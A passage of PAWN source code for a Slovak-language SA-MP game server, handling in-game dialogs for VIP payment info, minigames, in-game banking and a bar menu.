            if(response == 0) ShowPlayerDialog(playerid,Dialog_NoEffect,DIALOG_STYLE_MSGBOX,"Ako zaplatit VIP","{ff0000}CZ:{ffffff}\nBronze\n30kč ... 40 dnů ... xxxxxxx\nSilver\n50kč ... 40 dnů ... xxxxxxx\nGold\n99kč ... 50 dnů ... xxxxxxx\n\nText SMS Správy:\nxx(mezera)xxx(mezera)xx\n\nPříklad:\n{aaaaaa}xx xxx xx{ffffff} na xxxxxxx a máš VIP Silver na 40 dnů za 50kč !\n\nVíce na www.comingsoon","OK","");
            if(response == 1) ShowPlayerDialog(playerid,Dialog_NoEffect,DIALOG_STYLE_MSGBOX,"Ako zaplatit VIP","{ff0000}SK:{ffffff}\nBronze\n1.00€ ... 40 dní ... xxxx\nSilver\n1.60€ ... 34 dní ... xxxx\nGold\n3.20€ ... 42 dní ... xxxx (2x SMS za 1.60€)\n\nText SMS Správy:\nxx(mezera)xxx(mezera)xx\n\nPríklad:\n{aaaaaa}xx xxx xx{ffffff} na xxxx a máš VIP Silver na 34 dní za 1.60€ !\n\nViac na www.comingsoon","OK","");
        }
        /////////////////////////////////////////////////////
        else if(dialogid == Dialog_Locator)
        {
            if(response == 1)
            {
                Player[playerid][IPIP]=false;
                if(GetPlayerACMoney(playerid)<30000) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ]{ffffff} Nemáš dostatok peňazí (30 000$) !");
                else
                {
                    FormatPlayerInfoBox(playerid,"~g~Street Life","~b~Ovladanie~n~~n~~w~Up, Down, Left, Right~n~~b~Zoom ~w~LMB (key fire)~n~~b~Unzoom ~w~RMB (key aim)~n~~b~Exit ~w~ENTER",5000);
                    UpdateExTimer[playerid]=SetTimerEx("SuperLocatorUpdate",70,1,"i",playerid);

                    Locator[playerid][State]=true;
                    Locator[playerid][pX]=0;
                    Locator[playerid][pY]=0;
                    Locator[playerid][pZ]=50;

                    Player[playerid][SavedColor]=GetPlayerColor(playerid);
                    HidePlayerMarker(playerid);

                    TogglePlayerControllable(playerid,0);

                    GivePlayerACMoney(playerid, -30000);

                    SetPlayerCameraPos(playerid,Locator[playerid][pX],Locator[playerid][pY],Locator[playerid][pZ]);
                    SetPlayerCameraLookAt(playerid,Locator[playerid][pX],Locator[playerid][pY],Locator[playerid][pZ]-25);
                }
            }
             if(response == 0) Player[playerid][IPIP]=false;
        }
        /////////////////////////////////////////////////////
        else if(dialogid == Dialog_NoEffect)
        {
            if(response == 1) Player[playerid][IPIP]=false;
            if(response == 0) Player[playerid][IPIP]=false;
        }
        /////////////////////////////////////////////////////
        else if(dialogid == Dialog_Vypoved)
        {
            if(response == 1)
            {
                SendClientMessage(playerid,COLOR_WHITE,"Podal si výpoveď !");
                Player[playerid][Team]=0;
                SetPlayerColor(playerid, COLOR_WHITE);
                SetTimerEx("IsPlayerInPickupFalse", 1500, 0, "i", playerid);
            }
             if(response == 0) SetTimerEx("IsPlayerInPickupFalse", 1500, 0, "i", playerid);
        }
        /////////////////////////////////////////////////////
        else if(dialogid == Dialog_Notebook_menu)
        {
            if(response == 1)
            {
                if(listitem == 0)
                {
                    if(Player[playerid][ME2_Player]!=9999 || Player[playerid][NFSSA_Player]!=9999 || Player[playerid][D_Player]!=9999 || Player[playerid][TA_Player]!=9999 || Player[playerid][SP_Player]!=9999 || Player[playerid][DA_Player]!=9999 || Player[playerid][MTBR_Player]!=9999) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ]{ffffff} Najprv musíš vypnuť hru !   ->   {b8b8b8}/kill");
                    else if(GetPlayerVehicleID(playerid) > 0) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ]{ffffff} Nemôžeš používať Notebook keď si vo vozidle !");
                    else if(Player[playerid][BrigadaID] != 9999) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ]{ffffff} Nemôžeš hráť hry keď plníš misiu !");
                    else ShowPlayerDialog(playerid,Dialog_Notebook_Games,DIALOG_STYLE_LIST,"Notebook / Games","Mirrors Edge 2\nNeed For Speed - San Andreas\nDemolation Derby\nTerrorist's Assault\nStunt Park\nDuel Arena\nDrift Training Centrum\nMTB Ride","OK","Cancel");
                }
                if(listitem == 1)
                {
                    format(gBIGSTRING,sizeof(gBIGSTRING),"Notebook / Internet Banking - %d$",Player[playerid][InternetBank]);
                    ShowPlayerDialog(playerid,Dialog_Notebook_IBm,DIALOG_STYLE_LIST,gBIGSTRING,"Vložiť\nVybrať","OK","Cancel");
                }
                if(listitem == 2)
                {
                    if(SANEWS[State]==false)
                    {
                        Player[playerid][UseNotebook]=false;
                        ShowPlayerDialog(playerid,Dialog_Notebook_menu,DIALOG_STYLE_LIST,"Notebook","Games\nInternet Banking\nExtra Chat\nOnline TV","OK","Cancel");
                        return SendClientMessage(playerid,COLOR_WARNING,"Momentálne neprebieha žiadné vysielanie !");
                    }
                    else if(Player[playerid][UseNotebookTV]==true)
                    {
                        Player[playerid][UseNotebook]=false;
                        return SendClientMessage(playerid,COLOR_WARNING,"Už sleduješ vysielanie !");
                    }
                    else
                    {
                        SendClientMessage(playerid,COLOR_ORANGE,"Pre vypnutie Online TV použi /kill");
                        SetPlayerCameraPos(playerid,SANEWS[cX],SANEWS[cY],SANEWS[cZ]);
                        SetPlayerCameraLookAt(playerid,SANEWS[lX],SANEWS[lY],SANEWS[lZ]);
                        SavePlayerLastStats(playerid);
                        SetPlayerPos(playerid, SANEWS[cX], SANEWS[cY], -40);
                        TogglePlayerControllable(playerid, 0);
                        Player[playerid][UseNotebookTV]=true;
                        Player[playerid][UseNotebook]=true;
                    }
                }
            }
             if(response == 0) Player[playerid][UseNotebook]=false;
        }
        /////////////////////////////////////////////////////
        else if(dialogid == Dialog_Notebook_IBm)
        {
            if(response == 1)
            {
            new Text2[128];
                if(listitem == 0)
                {
                    format(Text2,128,"Stav účtu: %d$ / 500000$\nVklad na účet:",Player[playerid][InternetBank]);
                    ShowPlayerDialog(playerid,Dialog_Notebook_IBs,DIALOG_STYLE_INPUT,"Notebook / Internet Banking / Vklad",Text2,"Vložiť","Cancel");
                }
                if(listitem == 1)
                {
                    format(Text2,128,"Stav účtu: %d$ / 500000$\nVýber z účtu:",Player[playerid][InternetBank]);
                    ShowPlayerDialog(playerid,Dialog_Notebook_IBg,DIALOG_STYLE_INPUT,"Notebook / Internet Banking / Výber",Text2,"Vybrať","Cancel");
                }
            }
             if(response == 0) Player[playerid][UseNotebook]=false;
        }
        /////////////////////////////////////////////////////
        else if(dialogid == Dialog_Notebook_IBs)
        {
            if(response == 1)
            {
                Player[playerid][UseNotebook]=false;
                new Text2[128];
                if(!strlen(inputtext))
                {
                    format(Text2,128,"{ff0000}Nezadal si sumu !\n{ffffff}Stav účtu: %d$ / 500000$\nVklad na účet:",Player[playerid][InternetBank]);
                    return ShowPlayerDialog(playerid,Dialog_Notebook_IBs,DIALOG_STYLE_INPUT,"Notebook / Internet Banking / Vklad",Text2,"Vložit","Cancel");
                }
                else if(strval(inputtext)<=0)
                {
                    format(Text2,128,"{ff0000}Nemôžeš zadať 0 alebo menšie číslo !\n{ffffff}Stav účtu: %d$ / 500000$\nVklad na účet:",Player[playerid][InternetBank]);
                    return ShowPlayerDialog(playerid,Dialog_Notebook_IBs,DIALOG_STYLE_INPUT,"Notebook / Internet Banking / Vklad",Text2,"Vložit","Cancel");
                }
                else if(strval(inputtext)>GetPlayerACMoney(playerid))
                {
                    format(Text2,128,"{ff0000}Nemáš dostatok peňazi !\n{ffffff}Stav účtu: %d$ / 500000$\nVklad na účet:",Player[playerid][InternetBank]);
                    return ShowPlayerDialog(playerid,Dialog_Notebook_IBs,DIALOG_STYLE_INPUT,"Notebook / Internet Banking / Vklad",Text2,"Vložit","Cancel");
                }
                else if(Player[playerid][InternetBank]==500000)
                {
                    format(Text2,128,"{ff0000}Máš plné konto !\n{ffffff}Stav účtu: %d$ / 500000$\nVklad na účet:",Player[playerid][InternetBank]);
                    return ShowPlayerDialog(playerid,Dialog_Notebook_IBs,DIALOG_STYLE_INPUT,"Notebook / Internet Banking / Vklad",Text2,"Vložit","Cancel");
                }
                else
                {
                    new money;
                    if((Player[playerid][InternetBank]+strval(inputtext))>500000) money=(500000-Player[playerid][InternetBank]);
                    else money=strval(inputtext);
                    Player[playerid][InternetBank]+=money;
                    if(Player[playerid][InternetBank]>500000) Player[playerid][InternetBank]=500000;
                    GivePlayerACMoney(playerid,-money);

                    format(Text2,128,"{00C000}Úspešne si si uložil na účet %d$ !\n{ffffff}Stav účtu: %d$ / 500000$",money,Player[playerid][InternetBank]);

                    ShowPlayerDialog(playerid,Dialog_NoEffect,DIALOG_STYLE_MSGBOX,"Notebook / Internet Banking / Vklad",Text2,"OK","Cancel");
                }
            }
             if(response == 0) Player[playerid][UseNotebook]=false;
        }
        /////////////////////////////////////////////////////
        else if(dialogid == Dialog_Notebook_IBg)
        {
            if(response == 1)
            {
                Player[playerid][UseNotebook]=false;
                new Text2[128];

                if(!strlen(inputtext))
                {
                    format(Text2,128,"{ff0000}Nezadal si sumu !\n{ffffff}Stav účtu: %d$ / 500000$\nVýber z účtu:",Player[playerid][InternetBank]);
                    return ShowPlayerDialog(playerid,Dialog_Notebook_IBs,DIALOG_STYLE_INPUT,"Notebook / Internet Banking / Výběr",Text2,"Vybrat","Cancel");
                }
                else if(strval(inputtext)<=0)
                {
                    format(Text2,128,"{ff0000}Nemôžeš zadat 0 alebo menšie číslo !\n{ffffff}Stav účtu: %d$ / 500000$\nVýber z účtu:",Player[playerid][InternetBank]);
                    return ShowPlayerDialog(playerid,Dialog_Notebook_IBs,DIALOG_STYLE_INPUT,"Notebook / Internet Banking / Výber",Text2,"Vybrat","Cancel");
                }
                else if(strval(inputtext)>Player[playerid][InternetBank])
                {
                    format(Text2,128,"{ff0000}Nemáš na konte dostatok peňazi !\n{ffffff}Stav účtu: %d$ / 500000$\nVýběr z účtu:",Player[playerid][InternetBank]);
                    return ShowPlayerDialog(playerid,Dialog_Notebook_IBs,DIALOG_STYLE_INPUT,"Notebook / Internet Banking / Výber",Text2,"Vybrat","Cancel");
                }
                else
                {
                    Player[playerid][InternetBank]-=strval(inputtext);
                    if(Player[playerid][InternetBank]<0) Player[playerid][InternetBank]=0;
                    GivePlayerACMoney(playerid,strval(inputtext));
                    format(Text2,128,"{00C000}Úspešne si si vybral z účtu %d$ !\n{ffffff}Stav účtu: %d$ / 500000$",strval(inputtext),Player[playerid][InternetBank]);
                    ShowPlayerDialog(playerid,Dialog_NoEffect,DIALOG_STYLE_MSGBOX,"Notebook / Internet Banking / Výběr",Text2,"OK","Cancel");
                }
            }
             if(response == 0) Player[playerid][UseNotebook]=false;
        }
        /////////////////////////////////////////////////////
        else if(dialogid == Dialog_Notebook_Games)
        {
            if(response == 1)
            {
                new Text2_1[256], Text2_2[256], Text2_3[256], Text2_4[256], Text2_5[256], Text2_6[256], Text2_7[256], Text2_8[256], status_1[32], status_2[32], status_3[32], status_6[32], status_8[32];
                     if(Game[ME2_State]==0) status_1="Waiting For Players";
                else if(Game[ME2_State]!=0) status_1="Statred";
                     if(Game[NFSSA_State]==0) status_2="Waiting For Players";
                else if(Game[NFSSA_State]!=0) status_2="Statred";
                     if(Game[D_State]==0) status_3="Waiting For Players";
                else if(Game[D_State]!=0) status_3="Statred";
                     if(Game[DA_State]==0) status_6="Waiting For Player";
                else if(Game[DA_State]==1) status_6="Statred";
                     if(Game[MTBR_State]==0) status_8="Waiting For Players";
                else if(Game[MTBR_State]!=0) status_8="Statred";

                format(Text2_1,256,"Mirrors Edge 2\n\nŽáner: Parkour, Freerunning\nTyp: Závod\nOnline Players: %d\nStatus: %s\n\nNapodobenina originálnej hry Mirrors Edge,\nv ktorej sa musíte ako prvý dostať na koniec trate.",Game[ME2_Players],status_1);
                format(Text2_2,256,"Need For Speed - San Andreas\n\nŽáner: Poulične závody\nTyp: Závod\nOnline Players: %d\nStatus: %s\n\nDalšie pokračovanie hry Need For Speed,\nv ktorej musíte dôjsť ako prvý do cieľa z,\njedným zo svojích miláčkov (aut) zo svojeho domu.",Game[NFSSA_Players],status_2);
                format(Text2_3,256,"Demolation Derby\n\nŽáner: Buračky\nTyp: Derby\nOnline Players: %d\nStatus: %s\n\nSupr hra Demolation Derby v ktorej musíte z\njedným zo svojích miláčkov (aut) z domu vyradit svojích protihráčov.",Game[D_Players],status_3);
                format(Text2_4,256,"Terrorist's Assault\n\nŽáner: Prestrelky\nTyp: Prestrelky\nOnline Players: %d\n\nV strede mesta San Fierro vypukla vojna medzi Policii a Teroristamy.\nPridaj sa k jednému z teamu a poraz svojích superov.",Game[TA_Players]);
                format(Text2_5,256,"Stunt Park\n\nŽáner: Stunty\nTyp: Stunty\nOnline Players: %d\n\nStuntová hala plná úžasných skokov a tratí.",Game[SP_Players]);
                format(Text2_6,256,"Duel Arena\n\nŽáner: Prestrelky\nTyp: Duel\nOnline Players: %d\nStatus: %s\n\nDuel Aréna v ktoréj si môžeš odtestovať svoje\nstrelecké schopnosti zo Sawn-Off.",Game[DA_Players],status_6);
                format(Text2_7,256,"Drift Training Centrum\n\nŽáner: Drift\nTyp: Závod\nOnline Players: %d\n\nCentrum v ktorom si môžeš trénovať Drift.",Game[DTC_Players]);
                format(Text2_8,256,"MTB Ride\n\nŽáner: MTB Závod\nTyp: Závod\nOnline Players: %d\nStatus: %s\n\nTrať pre Mountain Biky zo skokmi.",Game[MTBR_Players],status_8);

                if(listitem == 0) ShowPlayerDialog(playerid,Dialog_Notebook_G_ME2,DIALOG_STYLE_MSGBOX,"Notebook / Games / Mirrors Edge 2",Text2_1,"Play","Cancel");
                if(listitem == 1) ShowPlayerDialog(playerid,Dialog_Notebook_G_NFSSA,DIALOG_STYLE_MSGBOX,"Notebook / Games / Need For Speed - San Andreas",Text2_2,"OK","Cancel");
                if(listitem == 2) ShowPlayerDialog(playerid,Dialog_Notebook_G_D,DIALOG_STYLE_MSGBOX,"Notebook / Games / Demolation Derby",Text2_3,"OK","Cancel");
                if(listitem == 3) ShowPlayerDialog(playerid,Dialog_Notebook_G_TA,DIALOG_STYLE_MSGBOX,"Notebook / Games / Terrorist's Assault",Text2_4,"OK","Cancel");
                if(listitem == 4) ShowPlayerDialog(playerid,Dialog_Notebook_G_SP,DIALOG_STYLE_MSGBOX,"Notebook / Games / Stunt Park",Text2_5,"OK","Cancel");
                if(listitem == 5) ShowPlayerDialog(playerid,Dialog_Notebook_G_DA,DIALOG_STYLE_MSGBOX,"Notebook / Games / Duel Arena",Text2_6,"OK","Cancel");
                if(listitem == 6) ShowPlayerDialog(playerid,Dialog_Notebook_G_DTC,DIALOG_STYLE_MSGBOX,"Notebook / Games / Drift Training Centrum",Text2_7,"OK","Cancel");
                if(listitem == 7) ShowPlayerDialog(playerid,Dialog_Notebook_G_MTBR,DIALOG_STYLE_MSGBOX,"Notebook / Games / MTB Ride",Text2_8,"OK","Cancel");
            }
             if(response == 0) Player[playerid][UseNotebook]=false;
        }
        /////////////////////////////////////////////////////
        else if(dialogid == Dialog_Notebook_G_ME2)
        {
            if(response == 1)
            {
                if(Game[ME2_State]==0) SendClientMessage(playerid,COLOR_WHITE,"Počkaj až závod začne");
                else if(Game[ME2_Players]>=Game[ME2_MaxPlayers]) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ]{ffffff} Už je v hre pripojený maximálný počet hrácov !");
                else SendClientMessage(playerid,COLOR_WHITE,"Počkej až závod skončí");

                if(Game[ME2_State]==1)
                {
                    PlayerCameraBack(playerid);
                    SendClientMessage(playerid,COLOR_YELLOW,"Chod podla checkpointov až na koniec trati.");
                    DisablePlayerCheckpoint(playerid);
                    SetPlayerCheckpoint(playerid,-1760.2420654297,1029.2882080078,98.0390625,2);
                    Checkpoint[playerid][Series]=2;
                    Checkpoint[playerid][Number]=0;
                }

                new Name[24], msg[128];
                GetPlayerName(playerid,Name,24);
                format(msg,128,"Hráč %s (%d) sa pripojil do Mirrors Edge 2 !",Name,playerid);
                SendClientMessageToAll(COLOR_WHITE,msg);
                OnPlayerJoinToMirrorsEdge2(playerid);
            }
        }
        /////////////////////////////////////////////////////
        else if(dialogid == Dialog_Notebook_G_NFSSA)
        {
            if(response == 1)
            {
                if(Player[playerid][HouseP]==9999)                         return SendClientMessage(playerid,COLOR_WARNING,"[  !  ]{ffffff} Aby si mohol závodiť musíš mať pri dome nejaké vozidlo !");
                else if(Game[NFSSA_Players]>=Game[NFSSA_MaxPlayers])     return SendClientMessage(playerid,COLOR_WARNING,"[  !  ]{ffffff} Už je v hre pripojený maximálný počet hráčov !");
                else
                {
                    new Text2[256];
                    new way[32];
                    format(way,32,"SL/Server/Houses/House%d.cfg",Player[playerid][HouseP]);

                         if(HouseStates[Player[playerid][HouseP]][Vehicles]==1) format(Text2,256,"1. %s",dini_Get(way,"V0_name"));
                    else if(HouseStates[Player[playerid][HouseP]][Vehicles]==2) format(Text2,256,"1. %s\n2. %s",dini_Get(way,"V0_name"),dini_Get(way,"V1_name"));
                    else if(HouseStates[Player[playerid][HouseP]][Vehicles]==3) format(Text2,256,"1. %s\n2. %s\n3. %s",dini_Get(way,"V0_name"),dini_Get(way,"V1_name"),dini_Get(way,"V2_name"));
                    else if(HouseStates[Player[playerid][HouseP]][Vehicles]==4) format(Text2,256,"1. %s\n2. %s\n3. %s\n4. %s",dini_Get(way,"V0_name"),dini_Get(way,"V1_name"),dini_Get(way,"V2_name"),dini_Get(way,"V3_name"));
                    else if(HouseStates[Player[playerid][HouseP]][Vehicles]==5) format(Text2,256,"1. %s\n2. %s\n3. %s\n4. %s\n5. %s",dini_Get(way,"V0_name"),dini_Get(way,"V1_name"),dini_Get(way,"V2_name"),dini_Get(way,"V3_name"),dini_Get(way,"V4_name"));

                    ShowPlayerDialog(playerid,Dialog_Notebook_G_NFSSA_V,DIALOG_STYLE_LIST,"Notebook / Games / Need For Speed - San Andreas / Play",Text2,"Play","Cancel");

                }
            }
        }
        /////////////////////////////////////////////////////
        else if(dialogid == Dialog_Notebook_G_MTBR)
        {
            if(response == 1)
            {
                if(Game[MTBR_Players] >= Game[MTBR_MaxPlayers]) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ]{ffffff} Už je v hre pripojený maximálný počet hráčov !");
                else if(Game[MTBR_State] != 0) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ]{ffffff} Závod už začal ! Počkaj až závod skončí !");
                else
                {
                    OnPlayerJoinToMTBR(playerid);

                    MTBR_Bike[Player[playerid][MTBR_Player]] = CreateVehicle(510,0,0,0,0,random(126),random(126),300);
                    SetVehicleVirtualWorld(MTBR_Bike[Player[playerid][MTBR_Player]], 1007);

                    new Name[24], msg[128];
                    GetPlayerName(playerid,Name,24);
                    format(msg,128, "Hráč %s (%d) sa pripojil do MTB Ride !", Name, playerid);
                    SendClientMessageToAll(COLOR_WHITE, msg);
                }
            }
        }
        /////////////////////////////////////////////////////
        else if(dialogid == Dialog_Notebook_G_NFSSA_V)
        {
            if(response == 1)
            {
                Player[playerid][HouseVehicleType]=listitem;
                new way[32];
                format(way,32,"SL/Server/Houses/House%d.cfg",Player[playerid][HouseP]);
                new v_id[32];
                format(v_id,32,"V%d_id",Player[playerid][HouseVehicleType]);

                if(dini_Int(way,v_id)==0) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ]{ffffff} Na tomto slote nemáš žiadné vozidlo !");
                else if(Game[NFSSA_State]==0) SendClientMessage(playerid,COLOR_WHITE,"Počkaj až závod začne");

                if(Game[NFSSA_State]==1)
                {
                    PlayerCameraBack(playerid);
                    SendClientMessage(playerid,COLOR_YELLOW,"Chod podla checkpointov až na koniec trati.");
                    DisablePlayerRaceCheckpoint(playerid);
                    SetPlayerRaceCheckpoint(playerid,0,192.95909118652,-1495.5798339844,12.814994812012,786.49407958984,-1153.3426513672,23.617588043213,15);
                    Checkpoint[playerid][Series]=3;
                    Checkpoint[playerid][Number]=0;
                }
                new Name[24], msg[128];
                GetPlayerName(playerid,Name,24);
                format(msg,128,"Hráč %s (%d) sa pripojil do Need For Speed - San Andreas !",Name,playerid);
                SendClientMessageToAll(COLOR_WHITE,msg);
                OnPlayerJoinToNFSSA(playerid);
            }
        }
        /////////////////////////////////////////////////////
        else if(dialogid == Dialog_Notebook_G_D)
        {
            if(response == 1)
            {
                if(Player[playerid][HouseP]==9999)                 return SendClientMessage(playerid,COLOR_WARNING,"[  !  ]{ffffff} Aby si mohol závodit musíš mať pri dome nejaké vozidlo !");
                else if(Game[D_State]!=0)                        return SendClientMessage(playerid,COLOR_WARNING,"[  !  ]{ffffff} Derby boli už odštartovane, počkaj na dalšie kolo !");
                else if(Game[D_Players] >= Game[D_MaxPlayers])     return SendClientMessage(playerid,COLOR_WARNING,"[  !  ]{ffffff} Už je v hre pripojený maximálny počet hráčov !");
                else
                {
                    new Text2[256];
                    new way[32];
                    format(way,32,"SL/Server/Houses/House%d.cfg",Player[playerid][HouseP]);

                         if(HouseStates[Player[playerid][HouseP]][Vehicles]==1) format(Text2,256,"1. %s",dini_Get(way,"V0_name"));
                    else if(HouseStates[Player[playerid][HouseP]][Vehicles]==2) format(Text2,256,"1. %s\n2. %s",dini_Get(way,"V0_name"),dini_Get(way,"V1_name"));
                    else if(HouseStates[Player[playerid][HouseP]][Vehicles]==3) format(Text2,256,"1. %s\n2. %s\n3. %s",dini_Get(way,"V0_name"),dini_Get(way,"V1_name"),dini_Get(way,"V2_name"));
                    else if(HouseStates[Player[playerid][HouseP]][Vehicles]==4) format(Text2,256,"1. %s\n2. %s\n3. %s\n4. %s",dini_Get(way,"V0_name"),dini_Get(way,"V1_name"),dini_Get(way,"V2_name"),dini_Get(way,"V3_name"));
                    else if(HouseStates[Player[playerid][HouseP]][Vehicles]==5) format(Text2,256,"1. %s\n2. %s\n3. %s\n4. %s\n5. %s",dini_Get(way,"V0_name"),dini_Get(way,"V1_name"),dini_Get(way,"V2_name"),dini_Get(way,"V3_name"),dini_Get(way,"V4_name"));

                    ShowPlayerDialog(playerid,Dialog_Notebook_G_D_V,DIALOG_STYLE_LIST,"Notebook / Games / Demolation Derby / Play",Text2,"Play","Cancel");
                }
            }
        }
        /////////////////////////////////////////////////////
        else if(dialogid == Dialog_Notebook_G_D_V)
        {
            if(response == 1)
            {
                Player[playerid][HouseVehicleType]=listitem;
                new way[32];
                format(way,32,"SL/Server/Houses/House%d.cfg",Player[playerid][HouseP]);
                new v_id[32];
                format(v_id,32,"V%d_id",Player[playerid][HouseVehicleType]);

                if(dini_Int(way,v_id)==0) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ]{ffffff} Na tomto slote nemáš žiadné vozidlo !");
                else if(Game[D_State]==0) SendClientMessage(playerid,COLOR_WHITE,"Počkaj až závod začne");

                new Name[24], msg[128];
                GetPlayerName(playerid,Name,24);
                format(msg,128,"Hráč %s (%d) sa pripojil do Demolation Derby !",Name,playerid);
                SendClientMessageToAll(COLOR_WHITE,msg);
                OnPlayerJoinToDemolationDerby(playerid);
            }
        }
        /////////////////////////////////////////////////////
        else if(dialogid == Dialog_Notebook_G_TA)
        {
            if(response == 1) ShowPlayerDialog(playerid,Dialog_Notebook_G_TA_T,DIALOG_STYLE_LIST,"Notebook / Games / Terrorist's Assault / Play","Policia\nTeroristi","OK","Cancel");
        }
        /////////////////////////////////////////////////////
        else if(dialogid == Dialog_Notebook_G_TA_T)
        {
            if(response == 1)
            {
                if(listitem == 0)
                {
                    Player[playerid][TA_Player]=101;
                    ShowPlayerDialog(playerid,Dialog_Notebook_G_TA_F,DIALOG_STYLE_LIST,"Notebook / Games / Terrorist's Assault / Play / Policia","Policia\nFBI\nSWAT\nSniper\nPyrotechnik","OK","Cancel");

                }
                if(listitem == 1)
                {
                    Player[playerid][TA_Player]=100;
                    ShowPlayerDialog(playerid,Dialog_Notebook_G_TA_F,DIALOG_STYLE_LIST,"Notebook / Games / Terrorist's Assault / Play / Teroristi","Útok\nObrana\nŤažké zbrane\nNinja\nPyrotechnik","OK","Cancel");
                }
            }
        }/////////////////////////////////////////////////////
        else if(dialogid == Dialog_Notebook_G_TA_F)
        {
            if(response == 1)
            {
                if(listitem == 0)
                {
                         if(Player[playerid][TA_Player]==100) Player[playerid][TA_Player]=0;
                    else if(Player[playerid][TA_Player]==101) Player[playerid][TA_Player]=5;
                }
                if(listitem == 1)
                {
                         if(Player[playerid][TA_Player]==100) Player[playerid][TA_Player]=1;
                    else if(Player[playerid][TA_Player]==101) Player[playerid][TA_Player]=6;
                }
                if(listitem == 2)
                {
                         if(Player[playerid][TA_Player]==100) Player[playerid][TA_Player]=2;
                    else if(Player[playerid][TA_Player]==101) Player[playerid][TA_Player]=7;
                }
                if(listitem == 3)
                {
                         if(Player[playerid][TA_Player]==100) Player[playerid][TA_Player]=3;
                    else if(Player[playerid][TA_Player]==101) Player[playerid][TA_Player]=8;
                }
                if(listitem == 4)
                {
                         if(Player[playerid][TA_Player]==100) Player[playerid][TA_Player]=4;
                    else if(Player[playerid][TA_Player]==101) Player[playerid][TA_Player]=9;
                }
                new Name[24], msg[256];
                GetPlayerName(playerid,Name,24);

                     if(Player[playerid][TA_Player]==5) format(msg,256,"Hráč %s (%d) sa pripojil do Terrorist's Assault ako {0090FF}Policajt{ffffff} - Policia !",Name,playerid);
                else if(Player[playerid][TA_Player]==6) format(msg,256,"Hráč %s (%d) sa pripojil do Terrorist's Assault ako {0090FF}Policajt{ffffff} - FBI !",Name,playerid);
                else if(Player[playerid][TA_Player]==7) format(msg,256,"Hráč %s (%d) sa pripojil do Terrorist's Assault ako {0090FF}Policajt{ffffff} - SWAT !",Name,playerid);
                else if(Player[playerid][TA_Player]==8) format(msg,256,"Hráč %s (%d) sa pripojil do Terrorist's Assault ako {0090FF}Policajt{ffffff} - Sniper !",Name,playerid);
                else if(Player[playerid][TA_Player]==9) format(msg,256,"Hráč %s (%d) sa pripojil do Terrorist's Assault ako {0090FF}Policajt{ffffff} - Pyrotechnik !",Name,playerid);
                else if(Player[playerid][TA_Player]==0) format(msg,256,"Hráč %s (%d) sa pripojil do Terrorist's Assault ako {ff0000}Terorista{ffffff} - Útok !",Name,playerid);
                else if(Player[playerid][TA_Player]==1) format(msg,256,"Hráč %s (%d) sa pripojil do Terrorist's Assault ako {ff0000}Terorista{ffffff} - Obrana !",Name,playerid);
                else if(Player[playerid][TA_Player]==2) format(msg,256,"Hráč %s (%d) sa pripojil do Terrorist's Assault ako {ff0000}Terorista{ffffff} - Ťažké zbrane !",Name,playerid);
                else if(Player[playerid][TA_Player]==3) format(msg,256,"Hráč %s (%d) sa pripojil do Terrorist's Assault ako {ff0000}Terorista{ffffff} - Ninja !",Name,playerid);
                else if(Player[playerid][TA_Player]==4) format(msg,256,"Hráč %s (%d) sa pripojil do Terrorist's Assault ako {ff0000}Terorista{ffffff} - Pyrotechnik !",Name,playerid);

                SendClientMessageToAll(COLOR_WHITE,msg);
                Game[TA_Players]++;
                DestroyPlayerObjects(playerid,100,MAX_PLAYER_CREATED_OBJECTS);
                CreatePlayerObjects(playerid,229,249);
                SavePlayerLastStats(playerid);
                SpawnPlayer(playerid);
            }
        }
        /////////////////////////////////////////////////////
        else if(dialogid == Dialog_Notebook_G_SP)
        {
            if(response == 1)
            {
                new Name[24], msg[128];
                GetPlayerName(playerid,Name,24);
                format(msg,128,"Hráč %s (%d) sa pripojil do Stunt Parku !",Name,playerid);
                SendClientMessageToAll(COLOR_WHITE,msg);
                OnPlayerJoinToStuntPark(playerid);
            }
        }
        /////////////////////////////////////////////////////
        else if(dialogid == Dialog_Notebook_G_DA)
        {
            if(response == 1)
            {
                if(Game[DA_Players] >= 2) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ]{ffffff} Práve prebieha Duel, počkaj až skončí !");
                else
                {
                    new Name[24], msg[128];
                    GetPlayerName(playerid,Name,24);
                    format(msg,128,"Hráč %s (%d) sa pripojil do Duel Arény!",Name,playerid);
                    SendClientMessageToAll(COLOR_WHITE,msg);
                    OnPlayerJoinToDuelArena(playerid);
                }
            }
        }
        /////////////////////////////////////////////////////
        else if(dialogid == Dialog_Notebook_G_DTC)
        {
            if(response == 1)
            {
                new Name[24], msg[128];
                GetPlayerName(playerid,Name,24);
                format(msg,128,"Hráč %s (%d) sa pripojil do Drift Training Centra !",Name,playerid);
                SendClientMessageToAll(COLOR_WHITE,msg);
                FormatPlayerInfoBox(playerid, "~g~Napoveda", "~w~Ak si chces zapnut drift mod pouzi:~n~~y~/drift", 6000);
                OnPlayerJoinToDTC(playerid);
            }
        }
        /////////////////////////////////////////////////////
        else if(dialogid == Dialog_Jizzy)
        {
            if(response == 1)
            {
                if(listitem == 0)
                {
                    if(GetPlayerACMoney(playerid)<50) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ]{ffffff} Nemáš dostatok peňazi !");
                    else
                    {
                        new string[128], Name[24];
                        GetPlayerName(playerid,Name,24);
                        format(string,128,"Hráč %s si kupil Sprunk !",Name);
                        SendClientMessageToAll(0xFFFFFF77,string);
                        GivePlayerACMoney(playerid,-50);
                        SetPlayerDrunkLevel(playerid,GetPlayerDrunkLevel(playerid)+0);
                        if(GetPlayerDrunkLevel(playerid)>=50000) SetPlayerDrunkLevel(playerid,50000);
                        SetPlayerSpecialAction(playerid,SPECIAL_ACTION_DRINK_SPRUNK);
                    }
                }
                if(listitem == 1)
                {
                    if(GetPlayerACMoney(playerid)<3500) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ]{ffffff} Nemáš dostatok peňazi !");
                    else
                    {
                        new string[128], Name[24];
                        GetPlayerName(playerid,Name,24);
                        format(string,128,"Hráč %s si kupil Vodku !",Name);
                        SendClientMessageToAll(0xFFFFFF77,string);
                        GivePlayerACMoney(playerid,-3500);
